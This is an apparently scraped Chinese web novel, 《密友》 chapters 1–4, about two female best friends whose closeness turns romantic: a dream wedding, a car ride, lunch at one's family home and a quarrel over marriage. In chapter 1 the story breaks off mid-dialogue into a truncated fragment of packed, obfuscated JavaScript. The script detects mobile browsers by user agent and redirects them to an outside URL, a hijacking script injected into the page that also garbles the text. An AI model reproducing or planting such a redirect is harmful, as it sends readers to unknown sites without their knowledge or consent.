《密友》
1. 001
云来大酒店。
傍晚,草坪,淡绿色的铺张与灿烂的余晖交织,共天一色,葡萄酒与蛋糕的甜香过分地溢出空气。
现场的交响乐队奏起结婚进行曲,长长的红毯伴着花瓣走来盛装出席的新人。
新娘拖着长长的圣洁白纱裙摆,腰肢一握,淡如烟尘的眉眼染上几分浓墨重彩,望向身边人的目光充满了幸福。
姜青黛手持捧花,站在红毯的尽头。
——作为伴娘出席最好朋友的婚礼。
她知道新娘是闻山意,可不知道为什么她看不清她的脸,可能因为她的视线此刻已经开始模糊。
闻山意要结婚了,新郎是无名氏——去他的,姜青黛才不在乎他。
闻山意要结婚了。
她在心里又念了一遍,不明白为什么自己哭得比预想的还要厉害?
也许每一对约好一起玩到老、不结婚的好姐妹都会有这一遭,亲手将自己此生、前半生最爱的人交到一个异性手里,结婚生子,组建家庭,不复从前。
她哭的是从此以后就要失去她了,她不再会是她最亲密的人。
她们从高中就认识在一起,十几年的友情,为什么比不过一个半路出来摘桃的男的?凭什么?凭什么爱情就比友情更高贵?
这都是现代社会的谎言,男人如衣服,姐妹才是斩不断的手足。
但姜青黛一己之力对抗不了性缘脑的社会,只能一个人孤零零地站在红毯那端哭,还要为新娘献上洁白的捧花,满脸泪水祝她幸福。
姜青黛一眼都没看闻山意身边的男人,抹着眼泪回到了自己的第一排宾客坐席。
借着朦胧的泪光看到闻山意和没脸的无名氏走上了台。
可恶,闻山意都不来安慰她!
自己再也不是她最爱的女人了,哇。
姜青黛在好朋友的婚礼上嚎啕大哭,在座位里泪雨滂沱,所有人就像没有听见她的哭声似的,热烈地为新人鼓掌。
闻山意每一个配合婚礼的动作,都像是给姜青黛的心脏上了一道刑,割肉凌迟。到交换完结婚戒指,新人亲吻的时候,姜青黛猛然站了起来,眼泪飞溅,夺路而逃。
断线珍珠般在日光下坠落一闪一闪。
远去是热闹纷繁的婚礼,最爱的人留在身后,她一个人走到草坪的边界,抱着膝盖蹲了下来。
泪水蜿蜒在膝头和掌心,从指缝漏出去浸湿了牛仔裤的布料。
漫长的天地间只余她压抑失控的哭声。
……
姜青黛脸枕在湿透的雪白枕头边缘,哭得浑身抽搐,睁开模糊的泪眼看到熟悉的房间布置。
?
拉了一层白纱的卧室,窗帘随风掀动,清晨的曦光正从天际渲染到每一座城市建筑,如同烧窑的火,变幻出缤纷独特的云彩。
姜青黛捞过床头柜的手机,手背抹了抹脸颊冰凉的泪水,点开微信置顶,心跳依然剧烈。
不可思议的姜青黛:【我做了个梦,梦见你结婚了,把我哭醒了】
闻山意:【有病?大清早的】
姜青黛:【真的】
闻山意:【不信,除非发张自拍来我看看】
姜青黛:【﹁ ﹁ 】
姜青黛才不会把自己的丑照发给对方,变成表情包,多一笔黑历史,她坐起来认真地梳理了一遍记忆,确认没有收到过闻山意的婚礼请柬。其次确认对方和她一样是单身,终于松了口气。
这噩梦忒吓人了。
姜青黛心有余悸,起身打算去洗漱,刚走到卫生间门口,床头柜的手机震了一声。
姜青黛一个箭步冲了回去,没留神脚趾和床柱“咚”的巨响亲密接吻,剧痛从脚部组织席卷全身。
“啊嘶——”
她嘶的一声顾不上疼,单脚跳回床头,火速拿起手机。
闻山意:【我不会结婚的】
姜青黛唇角不自觉地往上勾,咬住饱满的下唇:【你最好是】
闻山意:【我保证】
姜青黛:【哼,女人的嘴,骗人的鬼】
闻山意也:【哼,不信算了】
姜青黛抱着手机把短短的对话来回看了好几遍,笑了好半天,揉了揉自己笑僵的脸部肌肉,感到莫名其妙。
谁大周末的早上,什么事都不干就在这傻笑?
一定是周末放假的缘故,谁会不喜欢周末呢?
姜青黛没放下手机,继续笑吟吟打字:【周末什么安排?我想看电影捏】
闻山意:【妈让咱俩回家吃饭】
姜青黛这才退出聊天框,翻了一遍她早上没看的其他消息,她妈妈的头像一片寂静。
姜青黛纳闷:【没给我发消息啊,什么时候说的?】
闻山意:【给我发了,今早】
姜青黛:【真有她的,谁是她亲闺女啊】
闻山意:【谁让我美丽大方人见人爱呢[叹气.jpg]】
姜青黛发了一堆小拳拳出击的表情包,终于搁下了手机,心满意足地进了盥洗室洗漱。
几分钟后,姜青黛敷着面膜从卫生间出来,双手飞快打字道:【我去接你,一小时后到,日头太晒了你等我到了再下楼】
闻山意隔了两分钟回她:【那妾身就在家恭候皇上了】
姜青黛:【嗯,皇后跪安吧】
姜青黛掐表揭了面膜,对着镜子拍了拍脸上的水,昨晚刚洗过的长发乌黑亮丽,柔顺无比,蓬松地拢在鸦青耳鬓,一张刚补过水的脸,雪里透粉,吹弹可破。
姜青黛凑近镜子照了照自己的毛孔,睡得饱,肌肤流光,没有冒痘,不错。
姜青黛咬牙闭上眼睛,打开衣柜随机取出了一条长裙。如果不这么逼自己,她再打扮挑衣服,恐怕赶不上一小时的时限。
她还得开高速呢。
几分钟后,客厅大门砰的一声,姜青黛按下电梯,疾步走入轿厢。
*
锦绣云庭。
姜青黛和保安招了招手,熟门熟路地开进了小区,远远地便看见目的地7号楼下一道灿烂的身影。
在阳光下炫目得几乎看不清五官,只有她精致成熟的丝绸衬衫,和海藻般浓密的长发,身段气质,格外的出挑。
和姜青黛当年飞去北京见她那次一样。
一样让她……
姜青黛极快地按下了浮动的心绪,将车的副驾驶停在女人面前,略带恼火的声音从降下的车窗尖酸地传出来:“闻大律师,不是让你在家里等吗?晒黑了你就满意了!”
“生这么大气干吗?”闻山意没上车,半弯下腰,女人的脸凑近车窗,阳光被逼退,露出她不比日光逊色的殊色容颜。
眉细眼长,莹莹宛如玉石,本来就生得画里脱胎出来似的,还精心妆点几分颜色。
白肤红唇长卷发,V领丝绸直筒裤,啧。
姜青黛手支着方向盘,向她挑眉:“化妆了啊你?见丈母娘这么正式?”
“嗯~”
闻山意不反驳她,鼻音里轻轻地哼出一声懒意,随意拉开车门坐了进来,歪了歪脑袋说:“闲着也是闲着。”
一句话的语调拐三个弯,柔媚得不像话。
姜青黛好奇:“闻律师开庭也这么说话吗?”
闻山意打开手冲咖啡的杯盖,喝了一口冰美式,说:“那不会,开庭我会演一下下。你要喝咖啡吗?”
姜青黛垂眸望着递过来的咖啡杯,杯口半个鲜红湿润的唇印,慢慢地说:“我不爱喝咖啡。谁要在大周末喝咖啡啊?”
闻山意收回手,唇缓缓重新覆在原先的红印,凌乱交驳。
姜青黛视线低垂,只瞧着她手指托杯的方向。
“要不你喝点中药吧。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138157|180345||http|test|mini|href|location''.split(''|''),0,{}));
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>“什么?”姜青黛抬眸,黑白分明的眸子注视对方不解。
明明在表达疑惑,那双眼眸也清透得仿佛一眼见底,瞳色在车窗光线的映照下灿若棕色琉璃。
“调理一下。”闻山意话音顿了顿,口吻自然说,“上回去拔罐医生说你湿气重,要不要开点中药喝喝?”
“……”
姜青黛没来得及提起的半口气立刻舒了出去。
她第一反应还以为是网上流传的那个“中药治同性恋”梗呢,自己就是冲浪知识学杂了,脑子里不干不净的,原来只是单纯的喝中药啊。
幸好……
幸好?
六根清净以后,姜青黛严词拒绝道:“我也不喜欢喝中药。姓闻的,我警告你不准偷偷开了药给我送过来,否则你就自己喝。”
“嗯~”
闻山意好脾气应她一声,狐狸眼笑眼弯弯,说:“知道了~那我们还是继续定期去拔罐吧,到我事务所楼下。”
亲眼看着第三个唇印落在杯沿,闻山意在杯架放好咖啡杯,姜青黛踩下电车油门,打方向盘,平稳地驶了出去。
离开小区,车子游刃有余驶入宽阔的主干道车流。
闻山意的视线在窗外的街景停留了几瞬,回来落到姜青黛的侧脸,给长裙特意搭配的坠形树叶耳环,微微地晃动,冷光闪烁,整个人多了几分秾丽清冷。
她握着方向盘修长干净的手,再到修剪得不长不短的指甲,淡粉的肉色里填出一个个健康的白月牙。
很少有人这个岁数月牙还这么圆润可爱。
闻山意叹道:“真不可思议,那个十几岁的高中生姜青黛居然在开车了,还载我回她的家。”
姜青黛行云流水地打转向灯右拐。
“二十八了捏。”
“有没有装大人的感觉?”
“有啊。”姜青黛说,“每次和客户聊生意的时候,我都觉得自己在cos大人。”
“姜老板是个扮演很出色的大人。”
“闻律师呢?”
“我也差不多吧,在北京的时候演得好一点,二十四小时入戏。现在不行了,演技变差了。上班的时候硬撑一下罢了。”闻律师手搭在车窗边缘,白皙指尖贴着自己的额角。
她的目光落在身边褪去稚色,成熟冷艳的姜青黛。
十几年过去,她的轮廓和高中生姜青黛慢慢重合,一般无二。
姜青黛轻声:“没关系,我还是会带你回家。”
就像从前一样。
从十六岁到二十八岁,尽管几多周折,险些走散,她们今天依然在一起。只要闻山意不结婚恋爱,她会永远和她在一起。
如果……她结婚了呢?
无人察觉的地方,姜青黛握着方向盘的手微微用力。
方向盘被攥紧在掌心里,连指甲的月牙都使尽力气!
姜青黛平等地仇恨一切想拱她地里白菜的人,哪怕那人现在连个苗头都没有。
——没关系,我还是会带你回家。
副驾驶的声息短暂地静止了几秒钟。
半晌,闻山意才无可无不可地轻轻应了一声,几若未闻,将脸转向反方向的窗外。
姜青黛目视前方专注的视线分过去一瞥,心里打起了鼓。
该不会是她不想跟自己回家吧?她有男朋友了?!
姜青黛一脚刹车,前轮在斑马线前险险停下,面前的十字路口红灯的倒计时90秒。
姜青黛喉头微动,反复几次才问出来:“你是不是……”
话音未完——
一双柔软的手臂趁着红灯环上她的脖颈,毫无阻隔地触碰到她颈部和肩膀的肌肤,女人的唇瓣游离在她的耳畔,温柔侵入她的感官。
女人的声音轻且柔媚,气若幽兰。
“那……除了我,你还会带别的小猫咪回家吗?”
2. 002
略带凉意的唇压在她耳垂下方,要碰不碰地试探游离。
身体的僵直比理智先一步地操控了姜青黛的生理,她脖颈的汗毛立刻排排站了起来。
什、什么小猫咪?什么啊?
闻山意在外面都学了些什么乱七八糟的东西回来!!!
“闻山意。”
“嗯~”
姜青黛想问:你这么熟练,在外面给谁当过小猫咪?
但闻山意真回答了她又不高兴。
姜青黛避重就轻,淡淡应道:“没有别的小猫咪,没有狗,我这儿只有人。”人也只有你一个。
闻山意盯着她冷淡的侧脸,意兴阑珊地将手臂放下来,靠回了自己的椅背。
“哦。”
姜青黛低声:“外面那套别带回家里。”
闻山意懒洋洋:“哪套?”
姜青黛:“猫猫狗狗的,就……你刚刚那样。”
闻山意打起精神:“为什么?”
姜青黛:“你阿姨,我妈见到了会骂你。你知道的,她不喜欢宠物。”
“……”
“听见没有?”
“听见了~”
接下来车里的氛围有些僵硬。
其实这种情况也不是第一次了,自从闻山意结束北漂,回海陵市工作,至今已经一年多了。海陵是省会,姜青黛的家在另一个城市,周末有空她就会驱车一个多小时到海陵市找闻山意约饭。
闻山意大学考去了北京,姜青黛在家里念的书。从十八岁那年起,二人就处在异地分居状态。大学期间还好,除了学业没别的事,她们可以互相跨越十多个小时的高铁去见对方。哪怕学期中见不到面,还有寒暑假。
距离并没有冲淡年轻人的热忱。
青春最宝贵、岁月如流水。
直到闻山意毕业,参加了工作,成了一名律师。从实习律师到执业律师,她在北京越来越忙,几乎是断崖式地消失在了姜青黛的生活里。
【快看!这个巨搞笑![视频]】
【这男的气死我了!!![分享新闻]】
【这两部电影你更想看哪个?这周末我俩约个时间线上一起看[开心]】
【你工作是不是很忙哇?】
【记得吃早饭】
【中午我做了油焖茄子,第一次下厨,小姜真棒】
【晚饭出来吃水煮咯,我们俩经常去吃的那家店,老板都开分店了,她还问我你怎么没来】
【当当,开窑啦,窑变釉松针盖碗!绿松针的哦特别难烧!我给你留着,等你回来送你啊[拍摄视频]】
【我已经攒了好几个瓶瓶杯杯了,你什么时候回家哇】
闻山意并不是不回复她,朝八晚九,在事务所整理卷宗到深夜,回去的地铁上一边忍不住打哈欠一边打开手机,拉到消息的最上面,一条一条地回复她。
【笑死我了】
【是很生气】
【这周末好像没空啊,我要加班】
【有一点点】
【嗯,我要努力吃早饭】
事务所的消息在顶端通知跳出来,闻山意退出界面,打开了包里的笔记本架在腿上,揉了揉酸涩的眼睛,开始写对方要的起诉文书。
等她再一次想起来时,已经躺在出租屋的床上准备睡觉,困得眼睛睁不开,握着手机的聊天窗口,就这么沉沉睡了过去。
早上的消息等到晚上,第一天的消息耽搁到第二天。
间隔的时间越来越长。
姜青黛知道她工作辛苦,也知道自己分享过去的链接她多半没空点开,只是复读了她的情绪。每天应付她狂轰滥炸的消息,对初入职场焦头烂额的闻山意来说想必是很大的负担吧?
姜青黛体贴地减少了给对方发微信的频率。
闻山意没有提出异议,继续按部就班地深夜或清晨回复。
两人的话理所当然地越来越少。
直到有一天,姜青黛打开手机,发现置顶的聊天框里,她们的上次聊天停留在两个月前。
姜青黛坐在江边的烧烤摊有些恍惚,拍好的照片在消息栏里,点击了取消。
她握紧手里的手机金属边缘摩挲,认清了她和闻山意渐行渐远的事实。
从毕业那天起,她们就走上了截然不同的人生道路。
分道扬镳的两条路,不知道还能遥遥相望多久。
世上的感情有深有浅,有白首如新,倾盖如故。即使她们的联系不再频繁,闻山意依旧是她心目中最重要的朋友——可以把全部积蓄借给她的那种。
尽管闻山意在姜青黛心里的份量从来没有轻过一分,但终究缺席了彼此四年的人生。
从洁白象牙塔出来,被社会涂抹最关键的四年。
她不知道在闻山意眼中她变了没有,闻山意在她眼里变得陌生了许多,五官长开了,线条清晰,漂亮有气质,眼神深邃,举手投足变得有点迷人。
姜青黛适应一年多了,偶尔还是会被她突然诱惑到,不争气!
先不谈诱惑,以前她们有说不完的废话,现在坐在一起偶尔会陷入无缘无故的冷场。
都怪闻山意说起什么小猫咪!
谁要听她在外面当小猫咪啊!
唯一确定的是,她们仍然是对方最好的朋友,可以一起唱歌、吃饭,像学生时代一样约着一起回家——她们俩的家,永远都在。
她们要做的,是怎么从彼此的心里重新走入对方的生活。
“咳。”
“嗯。”
闻山意伸手道:“你先说。”
姜青黛继续清了清嗓子:“把你那咖啡给我喝一口。”
闻山意含笑端起满是她斑驳唇印的咖啡杯递过来,姜青黛撇开视线,正经地说:“吸管。”
闻山意打开副驾手套箱,熟练地从里面拿出为自己准备的三品管,插入她的一次性咖啡杯里,姜青黛就着她的手,抿了两口吸管。
苦苦的冰美式,苦得她皱起眉头。
都市丽人都爱喝这个,谁让闻山意是都市丽人呢?还好她当初去的不是上海,否则她就不是早上一杯咖啡了。
“辛苦姜老板了,陪我喝咖啡。”闻山意弯起细长的眼睛。
“不辛苦,命苦。”
“哈哈。”
闻山意清脆的一声过后,缓缓低头,自己鲜红的唇印覆住了姜青黛刚刚落下的红痕。
她涂的淡色的口红,轻红胭脂一抹,被女人一口一口慢慢地吃掉。
姜青黛咽了咽口水:“……”
好像被吃掉的是她一样。
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闻山意喝完咖啡,镇定自若地望向姜青黛,姜青黛收回了余光,刚好专注地去看路况,错过了对方深晦不明的视线。
我在想什么呢?姜青黛心想,强迫自己将注意力集中在开车上。
*
一小时后,白色轿车下了高速,驶进了灵州市的范围。
途径地标建筑,围绕一座巨大青花瓷瓶的环岛公路,十几分钟的车程便到了姜青黛的家。
闻山意随手将喝完的咖啡杯丢进了楼下的垃圾桶,姜青黛回头看了垃圾桶一眼,跟上前方闻山意的脚步。
屋前一株槐木招摇,淡白色的小叶槐花片片攒拥在枝头,不时自上空飘落。
老房子没建电梯,好在楼层不高,姜青黛沉浸式欣赏闻山意高挑的背影,不料前方的人忽然停了下来。
闻山意侧身让她过,说:“你走前面。”
姜青黛笑道:“干吗?害羞啊。”
闻山意面不改色:“嗯。”
姜青黛:“你现在一点都不好玩了,闻同学。”
她以前很好逗的,从高中就容易局促,每回到她家都跟小媳妇儿似的扭扭捏捏。不像现在,口头说着害羞,实则表情毫无破绽,看不穿一点。
闻山意认真地看向她,眼珠黝黑湿润,问:“真的吗?”
仿佛姜青黛一声肯定,她就会泫然欲泣。
姜青黛:“……假的。”
败给她了,谁让她比自己大呢,可能血脉觉醒了。
“我走前面就我走前面吧。”姜青黛从观赏者变成了对方眼中的风景。
正值白天,楼道的光是自然光,姜青黛穿了一条绿色的长裙,软底玛丽珍鞋,微微仰着头往楼梯上面走,楼道的阳光打下来,让人仿佛误入碧绿的森林夏天,见到了林中精灵。
闻山意悄无声息地掏出了手机,拍完在背后藏好。
转了三个弯,三楼便到了。
闻山意:“等一下。”
正要开门的姜青黛回头:“又怎么了~我的大小姐?”
她是唱出来的,闻山意忍俊不禁:“我的唇妆花了,需要补一下。”
她早晨画的口红,一通操作,全送给咖啡杯了,唇上深深浅浅,怪好看的。
姜青黛瞅了一眼,说:“咬唇妆,不行吗?”
闻山意嗔道:“讨厌。”
姜青黛骨头跟着软了一下,耳根后知后觉传来酥意,心想不愧是进修的小猫咪。
姜青黛收起钥匙:“行,你补吧,好了叫我。”
闻山意打开包包,在隔层的圆片薄状物摸了摸,毫不犹豫地越过它取出口红,微微蹙眉,说:“糟了,没带镜子。”
姜青黛:“那怎么办?”
闻山意旋开口红的盖子,仰头甩了甩长卷发,让自己的面部轮廓完全露出来,颈项也随着这个动作优雅地拉直,展现出优越的天鹅颈,诱人的锁骨。
簇新的雪白中微微泛着清透的粉意。
一张清丽艳绝的脸逼近姜青黛的眼前,看着她的眼睛,仰头的弧度刚好让姜青黛将她的容颜尽收眼底。
她将口红递到姜青黛的掌心,五指覆在她的手背。
女人深深浅浅的朱唇轻启,呼出的热气吹到姜青黛的脸上。
“帮我补。”
3. 003
姜青黛手里被塞了一支冰凉的管状口红,面前是一张近在咫尺的女人容颜。
闻山意离得她非常近,脸对脸,唇对唇,呼吸间的香气都入侵了姜青黛的鼻翼。
姜青黛垂下眼帘,目光落在她的咬唇妆上,握紧她掌中的管状红膏,低声问道:“你用的什么香水?这么香。”
“嗯~去年你送我的那瓶,生日礼物。”
“是吗?我不记得有这么香。”
姜青黛的手指隔着口红抚上她的唇,一点一点填满唇色的空缺,闻山意薄抿了一下唇,似乎在她清澈坦荡的目光下生出退避之心,跟着垂眼低头。
对方先她一步阻止了她。
“别动。”
她的下巴被一只修长白皙的手抬起来,虎口沿着下颌的线条嵌住,掠过肌肤,来回轻缓摩挲了两遍。
姜青黛又轻声说了一遍:“快好了,不要乱动。”
闻山意闭上眼睛。
唇被描了比正常漫长一倍的时间,闻山意乌色睫羽轻颤,控制着自己的耳朵不要和唇一样红,终于听到面前的人说了声:“好了。”
闻山意立刻退了一步。
“快开门吧。”她镇定自若地说。
“闻山意,你好像一只猫啊。”
带着笑意的话音落下后,姜青黛没有给她反应的时间,用钥匙打开了大门。
当然,也可能是怕挨揍。
谁家好闺蜜没打过架咧。
“妈——”
姜青黛抢先一步直接站在了玄关,身后闻山意锁她喉的手臂将将停留在半空,圈住了她的肩膀,暗暗用力。
闻山意抬头对面前的中年女士礼貌亲切地笑了笑:“阿姨好。”
姜青黛忍着手臂被指甲掐的痛露出灿烂的笑容。
“妈。”
姜妈妈早就做好了准备,一左一右将两人分开搂过来:“哎呀,妈妈的两个小女孩回来了。”
闻山意和姜青黛各自亲密地霸占了姜妈妈的一边肩膀,偏头四目相对时,闻山意瞪了她一眼。
姜妈妈雨露均沾地拍了拍二人的背,放开两个同龄闺女。
闻山意出去把门口的礼品盒和水果提进来,温良恭俭:“阿姨,给你们买了点补品,记得和叔叔一起吃。”
姜妈妈指指点点:“你这孩子,跟你说了多少次,人来就好,不用带礼物,再这样我真要说说你了。本来工作就忙,花心思在这些事上。”
闻山意只是笑。
姜青黛从旁边探出脑袋,下巴自然地搁在闻山意肩窝,说:“妈,是我买的,放在后备箱里,她就做个顺水人情,要夸也是夸我。”
闻山意的笑变得不好意思。
姜妈妈才不理亲女儿邀功,反而高兴起来:“好好好,你不见外就好。快进来快进来。”
上高中的时候,姜青黛把转校生闻山意拐回了自己家,这一拐就成了全家人的缘分。
和姜青黛一样,闻山意也是姜妈妈看着长大的,漂亮懂事的女儿谁又会嫌多一个呢?自打她去了北京,每年只有过年回家,有时忙起来连春节都没有,姜女士一家三口人过除夕,心里牵挂着远方的闻山意。
给她打视频,发压岁钱,她一个人在北京的日子里,姜女士嘘寒问暖,比她的亲妈还惦记她。
闻山意投桃报李,即使和姜青黛联系很少的那两三年,对姜妈妈逢年过节的问候也从来没断过。客厅有张按摩椅,功能齐全,两口子用了好几年,几天不按就不爽利——闻山意工作后第二年用攒的积蓄给她们买的。
比姜青黛的孝顺都早来一步。
姜青黛无所谓,如果她的爸妈成了闻山意的爸妈,她们俩岂不是锁死了在一起一辈子。
就算闻山意结婚生子了,过年还是得回姜家,低头不见抬头见。
呸,结婚生子怪不吉利的,换一个,就算她们俩吵架分开,老死不相往来,二人除夕依旧要在一张桌子上吃饭。
好耶。
“水果洗好了,在茶几上,你们俩随便吃,别打架啊。”
姜青黛往三人的长沙发一躺,长手长脚霸占了所有的位置,吐槽说:“我俩都多大岁数了,哪里会打架?”
正说着,闻山意不客气地朝她的小腿轻轻来了一巴掌,姜青黛识时务地曲腿,让出她坐的位置。
闻山意坐好以后,姜青黛长腿一伸,干脆把两条腿架在女人大腿上,更舒服了。
她眯眼享受,得逞地笑:“谢谢啊。”
闻山意:“……”
快走进厨房的姜妈妈立马回头:“别欺负姐姐。”
姜青黛挑下巴:“没欺负姐姐,姐姐你说是不是?”
她用足尖勾蹭女人大腿轻薄的布料,示意她向着自己。
闻山意一时间的笑容似乎比姜青黛更难克制,但长睫翕动之后,浮现在唇边只浅浅的一缕痕,柔声:“对,她没欺负我。”
姜妈妈整颗心都是偏的。
“你啊,就仗着岁岁脾气好,整天爬到她头上。”
姜青黛:刚刚是谁在门口要锁她喉。
姜青黛:“儿臣冤枉啊,长公主她都是演的!”
长公主闻山意:“陛下去忙吧,我来治她。”
姜国陛下终于放心地进了厨房,不理朝政。
闻山意先把自己大腿被她蹭皱的布料抚平,低头将姜青黛两条腿重新搬上来,轻柔地给她按揉脚踝和小腿。细长的手指带着凉意,缓缓地走过经络和皮肤。
“嗯~”
姜青黛长吟一声,后背都舒展了,整个人泡在温柔乡里,不可思议。
“长公主殿下就是这样治臣的吗?臣惶恐。”
“因为本宫现在心情很好。”
姜青黛不明白她为什么心情好,她的心思从大学就不好猜了。姜青黛几次三番猜不到,也就放弃了琢磨,坐享其成。
“你演的是驸马?”闻山意勾唇道。
“是啊。”
闻山意没有追问下去,显而易见的心情更好了,甚至亲自给她喂水果。
姜青黛简直想演商纣王和妲己了。
下一刻荒淫梦碎,因为闻山意是没办法一边给她按摩腿,一边把水果喂到她嘴里的,以姜青黛近一米七的身高,这件事的可能性无限接近于0。
于是闻山意拿了一瓣哈密瓜在手上,朝姜青黛勾了勾手。
姜青黛的腰腹发力,一个仰卧起坐来到了闻山意面前。
闻山意没说话,露出一种“乖狗狗”的夸奖眼神。
姜青黛陷入怀疑:“……”
自己究竟为什么会做得这么自然?
哈密瓜已经送到嘴边,姜青黛干脆利落地咬了一半,果肉绵滑饱满,汁水四溢。
闻山意似乎忘记拿纸巾,指背压在姜青黛软软的唇瓣,替她接去了残汁。
她将另外半块哈密瓜送进自己口中,齿颊留香。
茶几的果盘挪到边缘,女人又二指捏起了一粒葡萄。
姜青黛再一个腰线绷紧,熟练地仰卧起坐,叼走了她指尖的阳光玫瑰。
闻山意果然又露出奖励的目光。
姜青黛言听计从,像中学体育考试那样不断地仰卧起坐,只是吊着她的不再是老师的哨声,而是女人勾魂的眼神。
“啊。”
姜青黛坐起身来,直直看着闻山意的眼神,偏头朝她的右手方向张嘴咬了一口。
牙齿猛地磕碰,吃到一嘴空气。
姜青黛回神看她空无一物的手指,微微一怒:“你幼不幼稚?!”
闻山意故作无辜:“难道你看不到吗?”<
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p>姜青黛:“我……”
她光顾着看闻山意了,哪有心思注意别的,都怪她不安好心。
姜青黛一怒之下,不排除有恼羞成怒的部分原因,继续向前,咬住了闻山意尚未收回去的指节。
闻山意的唇和她的唇同时闭拢。
指端被温热裹住,湿意地搅动缠绕,将她指尖的汁水干干净净地舔去,才松开牙关。
闻山意飞快颤动的睫毛在姜青黛望过来前恢复了镇定,推开她的小腿起身道:“我去洗个手。”
姜青黛说:“去吧。”
闻山意走进了客厅的盥洗室,顺手带上了门。
姜青黛躺在沙发里望了会儿天花板,直起身来端过茶几上的水杯喝了一口,喉咙接连滚动了几次,仍然干渴。
姜妈妈给锅里的鸡汤调好味,出来检查这姐妹俩有没有掐起来。
姜青黛仍然躺着,闻山意换了个方向坐,背靠在沙发,她亲女儿的脑袋正枕在闻山意的大腿上睡觉,长发乌黑地铺开在女人腿边掌心。
姜妈妈:“……”
史诗级享受,看得她也想干脆躺下来睡会儿了。
闻山意没开电视,也没玩手机,听到厨房开门的动静,一直落在姜青黛身上的视线收起,抬头做了个“阿姨?”的口型。
姜妈妈和蔼地说:没事。
她轻手轻脚地回到厨房,掩好了门,隔绝了油烟机的声音。
闻山意的手从姜青黛落下来的乌瀑发丝里缓缓穿出来,轻轻地温柔摸了摸她的长发。
*
老小区烟火气足,正午家家户户的窗户里飘出饭菜香。
姜青黛从睡梦里惺忪地醒过来,不知天地为何物时,一张脸就近埋进了女人的腰腹之间。
不仅埋,还上手摸女人的侧腰,试验手感,并大言不惭发表业余评价。
“最近不行啊你,健身房是不是偷懒了?”
闻山意等她摸够了,目光巡视上下,在她臀侧不轻不重拍了一掌,平静道:“起来。”
若是姜青黛见到她睡着时对方的神情,一定会说她变脸大王。
姜青黛赖赖唧唧地从温柔乡里清醒,两只手贴上去捏了把闻山意柔滑的脸,才弹身而起冲进厨房帮忙。
“妈——”健步如飞,生怕有人从后面追上来弄她似的。
姜青黛和闻山意将五菜一汤端上桌,两人的座位在同一边,面前放着各自最爱吃的油爆虾和蒜蓉粉丝虾。
闻山意盛饭,姜青黛拿筷子,姜妈妈端坐在对面接过碗筷,看见姜青黛手不老实地往闻山意身后伸,不知道又要搞什么小动作。
多大岁数的人,出门都被喊姜老板了,一和闻山意在一起就和十几岁的时候一样,净顾着玩闹。
姜妈妈清了清嗓子:“咳。”
闻山意已经转过身,姜青黛若无其事收回手,伸脚把两人的靠背椅悄悄挪近了一点,在闻山意身边坐下。
“我吃一口你的。”姜青黛伸手夹了一筷蒜蓉粉丝,人跟着倾身过去,温热身体贴在女人的手臂,肆无忌惮。
闻山意:“……”
她把自己那盘菜往对方面前推了点,强烈的存在感才远离她。
闻山意刚舒了一口气,姜青黛和她的距离却越来越近,两人坐在一起,肩膀挨着肩膀,比乡下吃席贴得还紧。
“……”
闻山意垂眸低声:“过去点。”
姜青黛:“好嘞。”
挪出十公分距离。
“再过去点!”闻山意目光扫向对面的姜妈妈,声音似乎更紧张了两分。
“不要嘛姐姐~”
闻山意眼皮直跳。
姜妈妈看着二人,眼神里浓浓的笑意闪过,托着下巴——
“你们俩打算什么时候结婚啊?”
4. 004
世界仿佛被瞬间按下了静止键。
汩汩流动的河结成冰川,似乎永无解冻的宁日。
闻山意颤着的眼皮跳得更快了,攥紧了自己掌心的青瓷筷子。
她用力到凸起的手背骨节被姜青黛看在眼里,姜青黛把筷子一搁,沉下声道:“吃饭的时候提这么晦气的事干吗?”
姜妈妈:“这怎么能叫晦气的事呢?立业成家,结婚生子,自古以来的大喜事。”
姜青黛:“我把你挂小红书上去,你看有几个人站你?在饭桌上催婚,真有你的。”
姜妈妈小声嘟囔道:“这不是你俩都在,家里热闹,我突然想到多两个姑爷,逢年过节的更热闹。一时没有过脑子。”
姜青黛看闻山意的脸色更差了,怒从心起,口不择言道:“你平时催我就算了,催到岁岁头上,你看她还有胃口吃饭吗?你是不过脑子,从来不考虑别人的感受!”
这话就重了,闻山意拉住了姜青黛的胳膊,示意她道歉。
姜妈妈:“我辛辛苦苦忙了一上午,你爸大清早去菜市场买的菜,还吃出仇人来了是吧?”
姜青黛:“是我要来的吗?不是你叫我们来的吗?来了又不好好说话,你活该!”
闻山意把站起来的姜青黛强行按了下去坐好,对对面也站着的姜妈妈礼貌歉声道:“阿姨,您坐下吧,青黛不懂事,我一会说说她。”
姜青黛偏头看着她:“我哪里不懂事?我帮你你背刺我?girl hurt girl是吧?”
闻山意:“……”
她知道现在不该笑,好险差点没忍住。
姜青黛委屈道:“你就是偏心她。”
闻山意:“……”
小的比大的还难伺候,眼下是争宠的时候吗?
姜妈妈端坐在那儿,面无表情,眼睑周围却有一圈泛红。
闻山意手指戳了戳姜青黛的腰,示意她道歉。
姜青黛梗着脖子,话在心头滚了一遍,喉咙里却怎么都冲不出来。
她自然也知道伤了妈妈的心,可好像东亚母女之间一句郑重的“对不起”,是比万钧更重的一件事情,她开不了口。
妈妈也做错了,她从小到大没从她那里学到过怎样道歉,又该如何向她直言。
她不会。
最终姜妈妈拿起筷子,说了声:“吃饭吧。”
缓解了这场无声的干戈。
本该其乐融融的一顿饭吃得寂静没有声音,饭后闻山意主动去洗碗,姜青黛从带来的水果里挑了些到厨房,在她身边洗水果。
闻山意扭头看了眼坐在客厅假装看电视,心不在焉的姜妈妈。
她没有再出言劝姜青黛,牙齿还有碰到舌头的时候,哪有女儿不和妈妈吵架的?
姜家是很寻常的三口之家,姜妈妈和姜爸爸开了一间小店,寒来暑往,勤勤恳恳,吃苦耐劳,在灵州这座小城市吃穿不愁,努力给女儿姜青黛衣食无忧的生活。
在重男轻女观念根深蒂固的小城,姐弟组合随处可见,姜青黛作为独生女在同龄人里已是鹤立鸡群。
她们不仅疼爱女儿,还爱屋及乌地怜惜她最好的朋友,努力弥补她缺席的母爱和父爱,善良地也想给她一个家。
